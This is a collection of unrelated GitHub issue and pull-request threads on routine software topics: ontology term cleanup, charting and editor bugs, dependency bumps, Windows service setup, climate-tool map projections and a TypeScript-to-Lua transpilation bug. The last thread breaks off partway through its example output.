I suspect that early on protein kinase substrates commonly used in assays got EC numbers, but that this was unsustainable? so you will see things like casein kinase  etc.
Histone kinases might be useful, because of the histone code and since we have for other modifiers
(and CTD kinase for the CTD code?).
For others it isn't sustainable to add...

Hi @ValWood
Are these useful in terms of MF or BP? Now we have the as both (pol II CTD and histone).
@sylvainpoux any strong opinion on this ?

I think for both.
For example we have
17 GPs annotated to histone H3-K4 methylation
but
1 annotation to histone methyltransferase activity (H3-K4 specific) (GO:0042800)
There are lots of gene products that contribute to the modification process.
v

Which suggests BP is more relevant ?

but the MF annotation is  also critical. I think users like it the way it is  it's very clear...

We would still need the activity term when it is the gp for the kinase itself that needs annotating right. But other genes could be contributing in some way.

For instance I can find THE  histone methyltransferase activity (H3-K4 specific)
or any of the others immediately with a query. I don't know how we would do this is they weren't in GO. Finding things is a major use of GO ;)

Recapping:

GO:0033868 Goodpasture-antigen-binding protein kinase activity -> 0 annotations -> will propose to obsolete - (since EC  mapping: EC:<IP_ADDRESS> )
GO:0047764  caldesmon kinase activity - 0 annotations
GO:0050063 low-density-lipoprotein particle receptor kinase activity - 0 annotations (EC  mapping: EC:<IP_ADDRESS>)

GO:0016534 cyclin-dependent protein kinase 5 activator activity
Proposal to merge into parent: GO:0043539 protein serine/threonine kinase activator activity
(2)	MGI @hdrabkin
(1)	ARUK-UCL  @RLovering
(1)	FlyBase  @hattrill
(1)	RGD  @slaulederkind
Some UniProt rules @pedruzzi

I propose we keep the others for now.
Please comment if you have objections.
Thanks, Pascale

Dear all,
The proposal has been made to obsolete:

GO:0033868 Goodpasture-antigen-binding protein kinase activity
GO:0047764 caldesmon kinase activity
GO:0050063 low-density-lipoprotein particle receptor kinase activity

The reason for obsoletion is that these terms represent specific gene products, and not functions. There are no annotations, no InterPro2GO mappings to this term; this term is not included in any subset(s)(slims).
Any comments can be added to the issue: https://github.com/geneontology/go-ontology/issues/12419
We are opening a comment period for this proposed obsoletion. We’d like to proceed and obsolete this term on November 14th, 2018. Unless objections are received by November 14th, 2018, we will assume that you agree to this change.
Thanks, Pascale

I guess it doesn't matter, but I wonder why GO:0016534 is not a child of GO:0061575

@hdrabkin so you agree with the merge,  I take it !

yes yes; i'm agreeable!

FYI "GO:0033868 Goodpasture-antigen-binding protein kinase activity" actually has an EC xref that has the activity name. "EC <IP_ADDRESS>"  I wasn't expecting that.

Right - there are lots of specific enzymes, see
https://enzyme.expasy.org/EC/2.7.11.-
Looks like GO terms were created for most. Do we want to keep anything with an EC ?
Pascale

I thought we previously decided that we wouldn't keep gene product specific terms just because they have an EC. many gene product terms have an EC. This is historical. I'm sure this is decided on the tracker somewhere, possibly more than once. There have been a few discussions about it.

OK good.


fix: a path of menu.yml

[ ] If this pull request closes/resolves/fixes an existing issue, replace the issue number. Closes #.
[ ] Update the CHANGES log.

FYI @wankai123 I think last time, we broke this link


Update stellar-xdr

What
Update stellar-xdr
Why
Routine.

Seems like you forgot to update dev-dependencies as well.


fill: 'stack' does not work with stepped lines

Expected behavior
It should fill to the STEPPED line below
Current behavior
It fills to imaginary non-stepped line below:

Reproducible sample
https://codepen.io/kurkle/pen/mdKNNja
Optional extra steps/info to reproduce
No response
Possible solution
No response
Context
No response
chart.js version
v4.1.0
Browser name and version
No response
Link to your project
No response

I'm also running into this issue. I tried to work around it by adding additional points to simulate the steps myself, but that breaks the stacking even more


#173 minor updates to doku

closes #173

Hi @kevinbader
Seems like there were committed some files automatically during rebase...
Can you remove them? as they are actually not part of this PR


Add South African regions

Requirements

This template is required. Any request that does not include enough information may be closed at the maintainers' discretion.
Have you (put an X between the brackets on each line to confirm):

[X] Written new test cases to ensure no regession bugs occur?
[X] Ensured all test cases are now passing?
[X] Ensured that PowerShell Script Analyser issues and warnings are completely resolved?
[X] Updated any help or documentation that may be impacted by your changes?

Description of the Change
Includes support for additional regions
Testing
Standard Tests

Should be good to merge


Mongoid multiple calls to ['system.namespaces'].find({}) in the same request

Hi there,
I may have found a bug in Mongoid when it handles more than one collection in the same request. I noticed that it calls MONGODB ugs['system.namespaces'].find({}) each time a model is loaded even if it's in the same request.
Is there a way to make Mongoid do only one MONGODB ugs['system.namespaces'].find({}) per request, or to eager load a few models in the same time or it's simply a bug ?
Anyway, thanks for great software!
Using : Rails 3.1.2, Ruby 1.9.2, Mongoid 2.3.3, Mongo 1.4.0 and MongoDB 2.0.1.

That's going to get changed in 3.0.0 when the connections are lazy loaded, but for now in development mode that's what you will see when a model is reloaded... The related issue is #1291.

Ok, thank you durran!


chore: bump go mod v1

Fixes #N/A
Description
Bump Karpenter core
How was this change tested?
make presubmit
Does this change impact docs?

[ ] Yes, PR includes docs updates
[ ] Yes, issue opened: #
[x] No

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>3
Details

3 of 3 (100.0%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 79.341%

Totals

Change from base Build<PHONE_NUMBER>6:
0.0%

Covered Lines:
5922

Relevant Lines:
7464

💛  - Coveralls


chore: Document how actor tasks are terminated

resolves https://github.com/numaproj/numaflow/issues/2151

no longer valid.


implement NVAR, or Number of genotyped VARiants

NVAR, or Number of genotyped VARiants
Description:
[minor/major allele] A minor (respectively major) allele is an allele present in less than (respectively, in at least) half the alleles from all the genotyped samples.
Description:
[NMIN] NMIN is the number of variants of the given sample with a genotype that is not major/major.
Influenced by:
Ethnicity (the distribution of NMIN is usually bimodal with Africans in one mode in the higher values).
Remark:
Since this metric focuses of minor alleles, the proportion of rare variants considered (where more errors are expected) is higher. This makes NMIN more sensitive to errors than NALT, which is a desirable feature.
Calculated by:
pseq i-stats (NMIN)

@akiezun The description above seems to be a mix of NVAR and NMIN...  can you clarify?


Enable -sse, -sse2 optimization to generate code optimized with SIMD.js

This change contains a patch to clang to prevent it emitting large intermediary vector types that prevented the build with sse flags.
Enable -sse/-sse2 flags in config. Small changes to README file.
Some tests see performance improvements, some might not work because due to incomplete browser support.
To test it in chrome you can use --js-flags="--harmony --harmony-simd".
Feel free to merge this in another branch if you feel it breaks things.

It looks great. Thanks for the contribution.


reorg to standard report structure

no appendix memos.  its so small it need not be ordered that way now

starting on this now in new branch 7:30am monday


Update authoring.md

code type corrected

Hi @JoachimSauer, I'm your friendly neighborhood .NET Foundation Pull Request Bot (You can call me DNFBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. Real humans will now evaluate your PR.

TTYL, DNFBOT;

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

aspnetcore/mvc/views/tag-helpers/authoring.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

@JoachimSauer  thanks!


Flag of "amsbound" is incorrect

The name of flag is "amsgrad" in readme, while is "amsbound" in the code

Thank you
I fixed it !


fix(cloudformation-diff): string.replace error on cdk context (#2854)

Fixes #2854
@aws-sdk/cloudformation-diff depended on version ^2.1.1 of the string-width library in v0.28.0 of aws-sdk. In v0.29.0, the dependency was bumped to ^4.1.0, which inadvertently broke the cdk context command as reported in: https://github.com/awslabs/aws-cdk/issues/2854.
The current version of string-width executes a string replacement, which ends up failing when a non-string (such as the int row numbers of the cdk context values). This did not previously occur, as the typecheck for string would cause the function to return early and report zero-length.
The easiest solution here is to cast these values to string, which has the beneficial side effect of ensuring that their character lengths are taken into consideration rather than being defaulted to 0 as they had previously been.

re: PR checklist, I would need some assistance with the Testing, as I don't have a fully provisioned local development environment for CDK available. Title and Description is all set, though, and Docs / Sensitive Modules are not applicable here.

Pull Request Checklist

[ ] Testing

Unit test added (prefer not to modify an existing test, otherwise, it's probably a breaking change)
CLI change?: coordinate update of integration tests with team
cdk-init template change?: coordinated update of integration tests with team

[ ] Docs

jsdocs: All public APIs documented
README: README and/or documentation topic updated
Design: For significant features, design document added to design folder

[x] Title and Description

Change type: title prefixed with fix, feat and module name in parens, which will appear in changelog
Title: use lower-case and doesn't end with a period
Breaking?: last paragraph: "BREAKING CHANGE: <describe what changed + link for details>"
Issues: Indicate issues fixed via: "Fixes #xxx" or "Closes #xxx"

[ ] Sensitive Modules (requires 2 PR approvers)

IAM Policy Document (in @aws-cdk/aws-iam)
EC2 Security Groups and ACLs (in @aws-cdk/aws-ec2)
Grant APIs (only if not based on official documentation with a reference)

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache-2.0 license.

Nice catch! Thank you for this contribution!


Use hexadecimal for NPC base IDs

Using decimals in test names is not straight-forward as FormIDs are given in hexa.
Support a 0x... notation in test names referencing FormIDs.

Tested ok

Tested ok


Only include errors mixin in production mode

We need the error messages during development

We could probably do something more clever here and have a custom error handling class that does the right thing per environment. But for now this unblocks our development - in with it!

Honestly I think this should be dealt with upstream. The mixin is provided is not very clever and hiding errors from logs is not very nice.


Update README URLs based on HTTP redirects

I'm back :wink:  #225
Created with https://github.com/dkhamsing/frankenstein
GitHub Corrected URLs

Was
Now

https://github.com/SiliconStudio/paradox
https://github.com/SiliconStudio/xenko

https://github.com/nessos/Argu
https://github.com/fsprojects/Argu

https://github.com/tallesl/.NET-libraries-that-make-your-life-easier
https://github.com/tallesl/net-libraries-that-make-your-life-easier

HTTPS Corrected URLs

Was
Now

http://suave.io/
https://suave.io/

Other Corrected URLs

Was
Now

http://paradox3d.net
http://xenko.com/

http://www.slimdx.org
https://slimdx.org/

http://www.toptensoftware.com/petapoco
http://www.toptensoftware.com/petapoco/

Thanks!


createColorPicker example creates it OUSIDE the canvas

On https://p5js.org/reference/p5/createColorPicker/ the canvas is created with size 100x100 but then the colorPicker is positioned at 0,100. So it's outside the visible region and unusable
My guess is, any other examples that use elements outside 100,100 may have the same issue
Hope it helps :)

Can you please assign me this issue?

Thanks @wagedu for raising this issue and @143divya for your interest in working on this.
Before assigning contributor, I'd like to get insights from reference technical writer @nickmcintyre. Any suggestions on the solution?

For some additional context, code embeds currently pick their size by looking at the createCanvas call in the sketch, if it exists. A possible approach could be to add a way to flag reference examples as having a different size (although this would be a more involved change, as we have to propagate this flag from the doc comments in p5.js through to this repo).
Another option could be to try to place content on top of the canvas in reference sketches. I suspect there are probably a few examples that would need updating too, if we do this.

Oh interesting, good catch @wagedu!
It's helpful to demonstrate placing p5.Elements outside of the canvas. I added the CSS declaration height: 100% to the <iframe> and its parent <div>, and that seemed to do the trick. Both were 100px, presumably from checking createCanvas().
@davepagurek what do you think about making something like this work vertically, at least for references?


Remove 'secure' from title

Presenting the assumption of security by implying it in a database written in javascript(with no auth)'s name is abhorrent and, dare I say, snake oily.

If you'd like to discuss the security design, and the history of the name, we'll be happy to do so. Otherwise, I'm going to close this issue.

::yells "mongodb!" as door slams shut::

The "secure" refers to the feed's ability to validate its own integrity in the network, using signatures and a chain of content-hashes. This is not a database for storing secrets - in fact, the opposite, it's for publishing on a global network.
Authentication occurs (counter to your suggestion) via keypair crypto. As we're developing this alpha-status software, I won't claim perfect security or any nonsense like it. However I assure you there's nothing inherently insecure in this design.
I'm happy to discuss it more, but I do ask that you don't resort to ad-hominem.

Going to close, but if anybody wants to continue discussing this, feel free and I can re-open

@jaimegem all writes to secure-scuttlebutt are cryptographically signed into a chain of messages (a "feed"). Messages cannot be removed or altered without invalidating the rest of the feed. There are other senses you could apply the term "secure", but I can assure this project has very little in common with mongodb ;)


Consider inlining all types from Redux core

Right now we import several specific types from the redux core package.  I actually was about to say "we have a hard dependency on the redux core", but I actually don't even see it listed as a dep, which makes me very suspicious about the v8 branch in its current form.
Anyway, we currently import these types: Action, AnyAction, Dispatch, Store, and ActionCreatorsMapObject.
We inlined our implementation of bindActionCeators a while back, but the types requirement means we still have a tie to the actual redux package.
Given our current discussion around discouraging use of redux by itself, as well as the various shenanigans with NPM, peerDeps, and redux vs @reduxjs/toolkit, I think we ought to look at inlining those types directly into the v8 codebase so that react-redux has 0 need to import anything from redux.  This also goes along with the idea that any store-compatible object is legal to pass to <Provider>.

After discussion with @Methuselah96 , we've decided to just add an optional peerDep on redux instead.

Resolved by #1895


Bug: the undo command behaves incorrectly, requiring two undo actions to revert a single change.

When using Lexical on the iPhone, the undo command is not working correctly, requiring two undo operations to undo one change, also happens in Playground.
Lexical version: 0.17.0
Steps To Reproduce

Go to Lexical Playground
Type 'abcde'
Tap undo once - 'abcde' disappears
Tap undo again - 'abcde' reappears
Tap undo once more - 'abcde' disappears
Tap undo again - the input is fully cleared

Screenshots
https://github.com/user-attachments/assets/be5dfe6f-b72a-4ea4-b3bb-e10dbaf1bf29
Smartphone (please complete the following information):

Device: iPhone Xs
OS: iOS 17.5.1
Browser: Chrome

The current behavior
Two undo actions to revert a single change.
The expected behavior
A single undo action should revert one change.
Impact of fix
Fixing this issue is crucial for ensuring a consistent user experience across different devices.

I suspect this issue is related to the IME behavior with the Japanese keyboard, it doesn't reproduce with the US keyboard. There have been similar reports of other IME related issues on iOS: #5841, #5629


No mention that test fails when MFA is setup on the account

When MFA is setup on an account the connectivity analyzer fails.  This should be mentioned, better yet the testconnectivity code could prompt for MFA.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 74116402-b066-20da-300f-f70a3d7457bb
Version Independent ID: a8595d09-c563-30f1-8c0a-4ca21c628068
Content: Error when you run the Exchange Remote Connectivity Analyzer tool to test connectivity to Office 365:
Content Source: connectivity-analyzer/error-when-run-exchange-remote-connectivity-analyzer-tool-test-connectivity-office-365-to-authenticate-office-365-must-enter-your-microsoft-account.md
Service: remote-connect-tool
GitHub Login: @bradhugh
Microsoft Alias: bradhugh

@Jeep16 - yes, you're right. We've got a work-item this month to make the error message better, and we're going to try in the next few months to fully support OAuth / Modern Authentication including MFA.

Any update on supporting modern auth for MFA? I use this tool frequently for troubleshooting and more and more I'm running into users with MFA enabled which makes it difficult to get good information from the analyzer. Thanks!


[Snyk] Fix for 1 vulnerabilities

Snyk has created this PR to fix one or more vulnerable packages in the `rubygems` dependencies of this project.
Changes included in this PR

Changes to the following files to upgrade the vulnerable dependencies to a fixed version:

Gemfile

⚠ Warning
Failed to update the Gemfile.lock, please update manually before merging.

Vulnerabilities that will be fixed
With an upgrade:

Severity
Priority Score (*)
Issue
Breaking Change
Exploit Maturity

556/1000  Why? Recently disclosed, Has a fix available, CVSS 5.4
Open Redirect SNYK-RUBY-ACTIONPACK-1080916
Yes
No Known Exploit

(*) Note that the real score may have changed since the PR was raised.
Check the changes in this PR to ensure they won't cause issues with your project.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open fix PRs.
For more information:
🧐 View latest project report
🛠 Adjust project settings
📚 Read more about Snyk's upgrade and patch logic

actionpack and railties meanwhile have newer versions in our Gemfile as proposed in this PR. Thus I'm closing it.


Specify countries explicitely in the API

I squashed all the commits to help with the rebasing on master.

Ok it's now rebased on master, if you want to give it another look @n1k0 ?

Ok, I addressed your comments in the latest commits, maybe give it a last look if you want, and then you can merge it if you're happy?

@magopian I'm playing with the patch locally, trying to make an API call specifying PT (Portugal) as the Making country, and while the result seems to match what I observe doing the same on the Frontend, the API response expose a query having CN (China) as the country for Making.
Using default params (making is China):
$ curl -X GET "http://localhost:1234/api/simulator?mass=0.17&material=f211bbdb-415c-46fd-be4d-ddf199575b44&product=13&countryFabric=CN&countryDyeing=CN&countryMaking=CN" | jq .query.countryMaking
"CN"

Using PT (Portugal) for the Making step:
$ curl -X GET "http://localhost:1234/api/simulator?mass=0.17&material=f211bbdb-415c-46fd-be4d-ddf199575b44&product=13&countryFabric=CN&countryDyeing=CN&countryMaking=PT" | jq .query.countryMaking
"CN"

This last query should output "PT".
Do you think you could have a look?

@magopian never mind, got it sorted in https://github.com/MTES-MCT/wikicarbone/pull/57/commits/f945abfb7bf185bb7b8b54ec44ecc3bb72dccd1e


feat(registry): stop adding last mile ENV Vars into slugs as k8s handles that

I am assuming we need to keep the FROM portion of the build section? We can not just pull the source and push to our own registry with a new name?
ref #13

Perhaps the faster way to do a build would be to just pull, tag then push since that's really all this is doing now.

we hit that function if we hit deis pull use case
https://github.com/deis/workflow/blob/master/rootfs/api/models.py#L880-L881

deis pull apps doesn't fall into buildpack or dockerfile, so we will set the environment variables. Might be pulling up dockerfile template and end up having two environment variables. https://github.com/deis/workflow/blob/master/rootfs/scheduler/init.py#L606-L608. Which I'll fix while dealing with issue.
https://github.com/deis/workflow/issues/141

@smothiki if that's the case then that's a bug. All three deployment types should have DEIS_APP and DEIS_RELEASE present in their runtime environment. The proposed changes that I suggested in https://github.com/deis/workflow/pull/248#discussion_r49103251 should revert and fix that back to the way things were.

DEIS_RELEASE and DEIS_APP are being set in the replication controller for the rest of the app types.

I cut out the build step all together and instead we are doing a pull / push to get it into the deis-registry with all the tagging

:shipit:

I tried to use https://github.com/docker/docker-py/blob/master/docker/api/image.py#L45 to see if that could simplify anything but didn't have any luck (yet). Doesn't seem to do the kind of tagging we need nor does it appear to block but I may have just used it wrong :D


Allow for reading IDM style meters

IDM style meters have a slightly different message structure and thus are not picked up. This should resolve that.

Thank you for you collaboration!


Fix guava class not found problem when using kylin jdbc

Codecov Report

:exclamation: No coverage uploaded for pull request base (master-hadoop3.1@5242ba6). Click here to learn what that means.
The diff coverage is n/a.

@@                 Coverage Diff                 @@
##             master-hadoop3.1     #986   +/-   ##
===================================================
  Coverage                    ?   24.72%
  Complexity                  ?     6112
===================================================
  Files                       ?     1415
  Lines                       ?    85731
  Branches                    ?    12022
===================================================
  Hits                        ?    21197
  Misses                      ?    62512
  Partials                    ?     2022

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5242ba6...1f2059d. Read the comment docs.


Fix bug unable to create traffic alias in the first lambda app deployment

What this PR does / why we need it:
Which issue(s) this PR fixes:
Fixes #1752
Does this PR introduce a user-facing change?:

Fix bug unable to create traffic alias in the first lambda app deployment

Thank you.
/approve


created pkmn img array; fetched artwork url and species data url

In this pull request, I have:

added all the Pokémon from reference list (see: #43) into the array selectedPokemon (found in function getPokeApi) so fetch data returns a complete list

added a new empty array pokeArtwork to store Pokémon image data into later

grabbed the official artwork urls for each Pokémon and passed it to another (incomplete) function

grabbed the species data url, which will be used later to grab flavour text for the Pokémon themselves

added comments to explain general functionality

Issue reference: #33


fix: add round-trip conversion tests

This adds a set of round-trip tests, converting from HTML to Markdown using this module and back to HTML using @adobe/helix-html-pipeline.
I think this can be useful to clarify and demonstrate what's accepted in the input, and verify what comes out of the Helix pipeline after the reverse conversion, to complement the Semantic HTML format specification.
The tests use a strict String comparison of the output, so they would be brittle if the output format changes. I think that's good enough to start with, and if needed we can later move to parsing the output and checking based on CSS selectors or something to make the tests more robust.

:tada: This PR is included in version 1.3.36 :tada:
The release is available on:

v1.3.36
v1.3.36
GitHub release

Your semantic-release bot :package::rocket:


Different projection systems in ESMValTool

Hi,
I want to plot ice sheet data (velocity, mass balance, etc.) with the ESMValTool v2. However, the default map projection does not look nice, especially for Antarctica. I was wondering if it is possible, and if yes how, to request another map projection, like for example polar stereographic projections.

Related to that: is it necessary to have the input coordinates in lat/lon (WGS84) standards or can the tool handle other input coordinates if the input file contains information regarding the projection system? For example, my ice sheet velocities are projected with the following information:
 Variables:
    crs
           Size:       1x1
           Dimensions:
           Datatype:   int32
           Attributes:
                       grid_mapping_name                     = 'polar_stereographic'
                       standard_parallel                     = 70
                       straight_vertical_longitude_from_pole = -45
                       false_easting                         = 0
                       false_northing                        = 0
                       unit                                  = 'meter'
                       latitude_of_projection_origin         = 90
                       spatial_ref                           = 'PROJCS["WGS 84 / NSIDC Sea Ice Polar Stereographic North",GEOGCS["WGS 84",DATUM["WGS_1984",SPHEROID["WGS 84",6378137,298.257223563,AUTHORITY["EPSG","7030"]],AUTHORITY["EPSG","6326"]],PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],UNIT["degree",0.0174532925199433,AUTHORITY["EPSG","9122"]],AUTHORITY["EPSG","4326"]],PROJECTION["Polar_Stereographic"],PARAMETER["latitude_of_origin",70],PARAMETER["central_meridian",-45],PARAMETER["scale_factor",1],PARAMETER["false_easting",0],PARAMETER["false_northing",0],UNIT["metre",1,AUTHORITY["EPSG","9001"]],AXIS["X",EAST],AXIS["Y",NORTH],AUTHORITY["EPSG","3413"]]'
    y
           Size:       5401x1
           Dimensions: y
           Datatype:   double
           Attributes:
                       units         = 'm'
                       axis          = 'Y'
                       long_name     = 'y coordinate of projection'
                       standard_name = 'projection_y_coordinate'
    x
           Size:       2992x1
           Dimensions: x
           Datatype:   double
           Attributes:
                       units         = 'm'
                       axis          = 'X'
                       long_name     = 'x coordinate of projection'
                       standard_name = 'projection_x_coordinate'

@bascrezee

However, the default map projection does not look nice, especially for Antarctica. I was wondering if it is possible, and if yes how, to request another map projection, like for example polar stereographic projections.

As far as I am aware off, this functionality is not yet built in. However, it can of course be implemented. Since it is quite specific to your data, it would be something that you need to build in (or at least make a start with).

Related to that: is it necessary to have the input coordinates in lat/lon (WGS84) standards or can the tool handle other input coordinates if the input file contains information regarding the projection system?

No, the tool can't handle any available projections. Therefore you have to CMORize the data as described here. As part of it, you would need to regrid the data to another grid. There are many different Python packages that support regridding, but probably not all of them will recognize the coordinate system of your data. This is a matter of trial and error to find a package that fits your purpose. See e.g. here for an overview.

There is no default map projection in the ESMValTool, it depends on which diagnostic you are using to produce the plot.
Some of them (e.g. the NCL ones using contour_map_ce) allow to specify the projection as an option.
@ledm is any of your diags producing plots in polar stereographic projection (e.g., sea-ice ones?).

Yep, the routine make_polar_map() in esmvaltool/diag_scripts/ocean/diagnostic_seaice.py produces a polar stereographic projection. That function would be a good starting point to produce other figures.

as @mattiarighi and @ledm point out, there are no default projections in the core of ESMValTool simply because the core package is not meant to plot - it is the diagnostic that allows the user to select the type of plotting they need. At the end of the day, all you have to do is to get the (pre-processed) data from the core into your diagnostic (as iris cubes) and from there the sky is the limit: note that there are handy tutorials from the iris guys how to plot different projections https://scitools.org.uk/iris/docs/latest/examples/General/projections_and_annotations.html
Side note: the Mercator map you are attaching is the standard go-to projection that is used for the most basic data imaging (by ncview etc), it is nowhere in ESMValTool that we hardcode it :beer:

closing since solution is given to the user, please re-open if a specific projection or better said, data transformation is requested in the preprocessor


[api] Allows to use relative jar uri for cache folder name

Fixes: #3025
Description
Brief description of what this PR is about

If this change is a backward incompatible change, why must this change be made?
Interesting edge cases to note here

Codecov Report
Attention: Patch coverage is 90.00000% with 1 lines in your changes are missing coverage. Please review.

Project coverage is 72.23%. Comparing base (063fb8d) to head (47c751f).

Files
Patch %
Lines

...src/main/java/ai/djl/repository/JarRepository.java
85.71%
0 Missing and 1 partial :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@             Coverage Diff              @@
##             master    #3026      +/-   ##
============================================
- Coverage     72.30%   72.23%   -0.08%
+ Complexity     7292     7290       -2
============================================
  Files           722      722
  Lines         32499    32503       +4
  Branches       3392     3393       +1
============================================
- Hits          23499    23478      -21
- Misses         7382     7410      +28
+ Partials       1618     1615       -3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Webpack not building using agm/core

Issue description
I upgraded to Angular4 and Agm/Core from Angular2 and angular2-google-maps.
Everything was looking good, but when I want to compile with webpack, it is returning error with unexpected token on directives.

Getting this problem as well

I already tried with angular 2.4.2, and only upgrading from angular2-google-maps to @agm/core and is giving same issue.
 Not saying it is related to your issue but you could look into: https://github.com/SebastianM/angular-google-maps/issues/1052


couple question

First of all, thank you.
A couple questions; Is it possible to add / ? What about hidden html attribute ?

@GrosSacASac Happy to add whatever makes the library more accurate!
Can you please provide some more details? Why  — that doesn't seem tabbable normally?  does, though, at least in Chrome. Let's make sure it's the same cross-browser.
How you tried the hidden attribute, and it's not treated correctly? I just tried it in a demo and didn't notice any problem: the hidden element was skipped as expected.

Yes  does.

test summary
Full paragraph below summary

   test summary

Full paragraph below summary

Yes I tried it works, my bad.

<audio controls> and <video>

Sure, @GrosSacASac: open to a PR adding any fancy new elements that are tabbable!

PR sent !

For anybody who comes along this issue and wants to help: the PR #21 was closed but not completed. PRs still welcome if anybody would like to add elements.


Discord wick bot image does not show up.

Clicking to see the attachment doesnt do anything.
Tried removing the discord and joining again. No win there.

incognito mode or android app also did not work. Issue was solved by manually getting access.

Thanks for reporting this.
Another user was able to verify around the same time, so it might be intermittent or specific to a user setting.
I did stumble on the following, don't know if related (something about "enabling embed link option"):
https://www.reddit.com/r/rocketpool/comments/q1x1ak/wickbot_verification/
Will re-open if I see other users stuck in non-verified state.


ByteArrayInputStream.cs

I ran into an issue. When I tried to run the plugin it is asking me to find ByteArrayInputStream.cs file. I couldn't locate it in the Solution's path. But a copy is found in the Paratext Installation. However that copy is different from the version used for building the plugin.
Gecko.ByteArrayInputStream.Read()

Hi Benjamin,
Sorry for the delay, it is has been really busy here supporting new
teams.  Here is a video showing it working on my machine.  I just
downloaded it and ran it without any issues.
https://drive.google.com/file/d/1-xTGAzttHaF_ccRaJy0zavr8xHko-fna/view?usp=sharing
Can you share a picture of the error and your solution in Visual Studio?
Also, if you can zip up your project and share it with me, maybe I can
recreate the error.
Thanks!
On Mon, Jun 3, 2024 at 1:33 AM benVar @.***> wrote:

When I tried to run the plugin it is asking me to find
ByteArrayInputStream.cs file. I couldn't locate it in the Solution's path.
But a copy is found in the Paratext Installation. However that copy is
different from the version used for building the plugin.
—
Reply to this email directly, view it on GitHub
https://github.com/darren8c/ExportToTSVPlugin/issues/1, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AMUX6G5GPPXASPBVNLRDIYDZFQE5LAVCNFSM6AAAAABIV23AJOVHI2DSMVQWIX3LMV43ASLTON2WKOZSGMZTAMRZGAYTAMA
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>


No longer works on Windows

Downloading a new build from https://caddyserver.com/download and including only the hook.service plugin, extracting to C:/caddy/, then creating a service using caddy.exe -service install -conf Caddyfile (and the Caddyfile only contains localhost:80), I am not able to start the service. The event log shows an error with the message:

The Caddy service terminated with the following service-specific error:
Incorrect function.

Full event data:
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
 <System>
  <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager" />
  <EventID Qualifiers="49152">7024</EventID>
  <Version>0</Version>
  <Level>2</Level>
  <Task>0</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8080000000000000</Keywords>
  <TimeCreated SystemTime="2017-11-01T13:28:20.355603800Z" />
  <EventRecordID>8154</EventRecordID>
  <Correlation />
  <Execution ProcessID="1076" ThreadID="24728" />
  <Channel>System</Channel>
  <Computer>laptop</Computer>
  <Security />
  </System>
 <EventData>
  <Data Name="param1">Caddy</Data>
  <Data Name="param2">%%1</Data>
  <Binary>430061006400640079000000</Binary>
  </EventData>
  </Event>

Tested on Windows 10 Creators Update as well as Fall Creators Update. Tried with logging as well, but it looks like the executable never runs at all.
Tested 32 and 64 bit, both fail the same way.
When running the same Caddy build normally in a console, it works fine.

You must use the full path for your Caddyfile when installing the service.


Usage with ttypescript-type transformer ts-macros causes loss of property descriptor transformations

Yeah, I know, pretty specific, seemingly pretty unrelated.
I'd really love to give more details, but I'm not too sure how I would go about doing that.
Perhaps it causes further issues, but this is just what I've noticed.
Apologies if this isn't within the scope of this project to solve. In that case, feel free to close it (or I can).

Example
// index.ts
class Example {
  get val () {
    return 0;
  }

  set abc (_: 32) {
    print(32);
  }

  property = "Hello, world!";

  method () {
    this.property = "Goodbye, world!"
  }

  no_context (this: void) {
    print("Bar!");
  }
}

-- index.lua
local ____lualib = require("lualib_bundle")
local __TS__Class = ____lualib.__TS__Class
Example = __TS__Class()
Example.name = "Example"
function Example.prototype.____constructor(self)
    self.property = "Hello, world!"
end
function Example.prototype.method(self)
    self.property = "Goodbye, world!"
end
function Example.prototype.no_context()
    print("Bar!")
end
-- Note the loss of descriptors.

// tsconfig.json
{
  "$schema": "https://raw.githubusercontent.com/TypeScriptToLua/TypeScriptToLua/master/tsconfig-schema.json",
  "exclude": ["./node_modules/"],
  "include": ["./src"],
  "compilerOptions": {
    "target": "ESNext",
    "lib": ["ESNext"],
    "moduleResolution": "Node",
    "types": ["@typescript-to-lua/language-extensions"],
    "strict": true,
    "outDir": "./dist",
    "exactOptionalPropertyTypes": true,
    "esModuleInterop": true,
    "plugins": [{ "transform": "ts-macros" }] // If this is commented out, the descriptors work.
  },
  "tstl": {
    "luaTarget": "JIT"
  }
}

EDIT: Actually, I should have thought a bit more. Apologies.
Perhaps some type details are being lost, given the description of ts-macros?

Generate types which you can use in your code. ts-macros is only a transformer, it's ran after typechecking, so generating different types has no effect. However, the code inside the macro itself still gets typechecked

Both rely on type data, so it might make sense that something would break as one would strip out the other. Sorry for not thinking of that.
However, this behavior still isn't really what I expect. Maybe a description of basic compatibility with ttypescript transformers could be made? I sort of just assumed they would work based on #433, though it wasn't mentioned in the documentation and admittedly I'm not very knowledgeable on how all of this works.

Definitely a strange one. I would like to point out that it seems it is not transformer-specific, it also happens with ts-plugins (when using constant folding transformer), I have tried debugging the transformer and didn't see anything wrong... likewise class's properties are stripped for unknown reason (getters/setters involved).

Example
Input code:
class Foo {
  public get id(): string {
    return "A Foo";
  }
  public get bar(): number {
    return 20 / 10;
  }
  public set baz(value: number) {
    value = 20 / 10;
  }
  public quux(): number {
    return 20 / 10;
  }
}

Output code after transpilation (notice absence of bar and baz descriptors):
local ____lualib = require("lualib_bundle")
local __TS__Class = ____lualib.__TS__Class
local __TS__SetDescriptor = ____lualib.__TS__SetDescriptor
local Foo = __TS__Class()
